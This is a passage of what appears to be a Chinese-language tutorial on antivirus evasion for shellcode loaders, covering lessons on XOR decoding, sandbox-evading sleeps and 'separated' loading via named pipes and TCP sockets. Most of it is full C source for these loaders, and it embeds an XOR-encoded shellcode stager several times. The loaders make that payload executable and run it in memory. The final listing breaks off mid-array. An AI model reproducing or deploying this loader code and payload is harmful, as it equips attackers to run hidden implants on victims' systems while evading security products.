int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a";


// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
Sleep(50);
_InterlockedXor8(buf+i,10);
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);

// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode,buf,shellcode_size);

// 这里开始更改它的属性为可执行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect);

// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}

第四课

分离免杀

分离免杀:将恶意代码放置在程序本身之外的一种加载方式。

前面三课主要围绕着程序本身的加载,后面的课程将围绕网络、数据共享的方式去展开

管道

何为管道:管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。

通常与Pipe相关的API都与管道有关,包括Cobaltstrike External C2也是用的管道进行进程通信,一般管道是一个公开的内核对象,所有进程都可以访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define BUFF_SIZE 1024
char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a";
PTCHAR ptsPipeName = TEXT("\.\pipe\BadCodeTest");

BOOL RecvShellcode(VOID){
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);

if(hPipeClient == INVALID_HANDLE_VALUE){
printf("[+]Can't Open Pipe , Error : %d \n",GetLastError());
return FALSE;
}

WriteFile(hPipeClient,buf,dwShellcodeSize,&dwWritten,NULL);
if(dwWritten == dwShellcodeSize){
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytes\n",dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}


int wmain(int argc, TCHAR * argv[]){

HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE| PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL);

if(hPipe == INVALID_HANDLE_VALUE){
dwError = GetLastError();
printf("[-]Create Pipe Error : %d \n",dwError);
return dwError;
}

CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)RecvShellcode,NULL,NULL,NULL);

if(ConnectNamedPipe(hPipe,NULL) > 0){
printf("[+]Client Connected...\n");
ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL);
printf("[+]Get DATA Length : %d \n",dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode,szBuffer,dwLen);

for(DWORD i = 0;i< dwLen; i++){
Sleep(50);
_InterlockedXor8(pszShellcode+i,10);
}

// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread,INFINITE);
}

return 0;
}

通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程。

第五课

真正意义的分离

将上一课的代码分离开编译,然后通过管道传输,让进程通信。

BadCodeWithPipe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define BUFF_SIZE 1024

PTCHAR ptsPipeName = TEXT("\.\pipe\BadCodeTest");

int wmain(int argc, TCHAR * argv[]){

HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE| PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL);

if(hPipe == INVALID_HANDLE_VALUE){
dwError = GetLastError();
printf("[-]Create Pipe Error : %d \n",dwError);
return dwError;
}

if(ConnectNamedPipe(hPipe,NULL) > 0){
printf("[+]Client Connected...\n");
ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL);
printf("[+]Get DATA Length : %d \n",dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode,szBuffer,dwLen);

for(DWORD i = 0;i< dwLen; i++){
Sleep(50);
_InterlockedXor8(pszShellcode+i,10);
}

// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread,INFINITE);
}

return 0;
}

BadCodePipeClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define BUFF_SIZE 1024
char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a";
PTCHAR ptsPipeName = TEXT("\.\pipe\BadCodeTest");


BOOL RecvShellcode(VOID){
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);

if(hPipeClient == INVALID_HANDLE_VALUE){
printf("[+]Can't Open Pipe , Error : %d \n",GetLastError());
return FALSE;
}

WriteFile(hPipeClient,buf,dwShellcodeSize,&dwWritten,NULL);
if(dwWritten == dwShellcodeSize){
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytes\n",dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}

int wmain(int argc, TCHAR * argv[]){

RecvShellcode();

return 0;
}

网络套接字(socket)

通过建立一个客户端和服务端,进行Shellcode的收发,类似于Java中的反序列化。

Server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#pragma comment(lib,"ws2_32.lib")

BOOL RunCode(CHAR * code,DWORD dwCodeLen)
{
HANDLE hThread;
DWORD dwOldProtect;
DWORD dwThreadId;
PCHAR pszShellcode = (PCHAR)VirtualAlloc(NULL,dwCodeLen,MEM_COMMIT,PAGE_READWRITE);
CopyMemory(pszShellcode,code,dwCodeLen);

for(DWORD i = 0;i< dwCodeLen; i++){
_InterlockedXor8(pszShellcode+i,10);
}
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode,dwCodeLen,PAGE_EXECUTE,&dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE);
return TRUE;
}

int wmain(int argc, TCHAR argv[]){
CHAR buf[801];
DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SOCKET sClient;
struct sockaddr_in s_client;
INT nAddrLen = sizeof(s_client);
SHORT sListenPort = 8888;
struct sockaddr_in sin;

if (WSAStartup(sockVersion, &wsaData) != 0)
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n",dwError);
return dwError;
}

socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (socks == INVALID_SOCKET)
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n",dwError);
return dwError;
}

sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = INADDR_ANY;

if(bind(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n",dwError);
return dwError;
}

if (listen(socks, 5) == SOCKET_ERROR)
{
dwError = GetLastError();
printf("[*]Listen Error : %d \n",dwError);
return dwError;
}

sClient = accept(socks, (SOCKADDR *)&s_client, &nAddrLen);
int ret = recv(sClient,buf,sizeof(buf),0);
if (ret > 0)
{
printf("[+]Recv %d-Bytes \n",ret);
closesocket(sClient);
closesocket(socks);
}

WSACleanup();
RunCode(buf,sizeof(buf));
return 0;
}

Client:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#pragma comment(lib,"ws2_32.lib")
char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8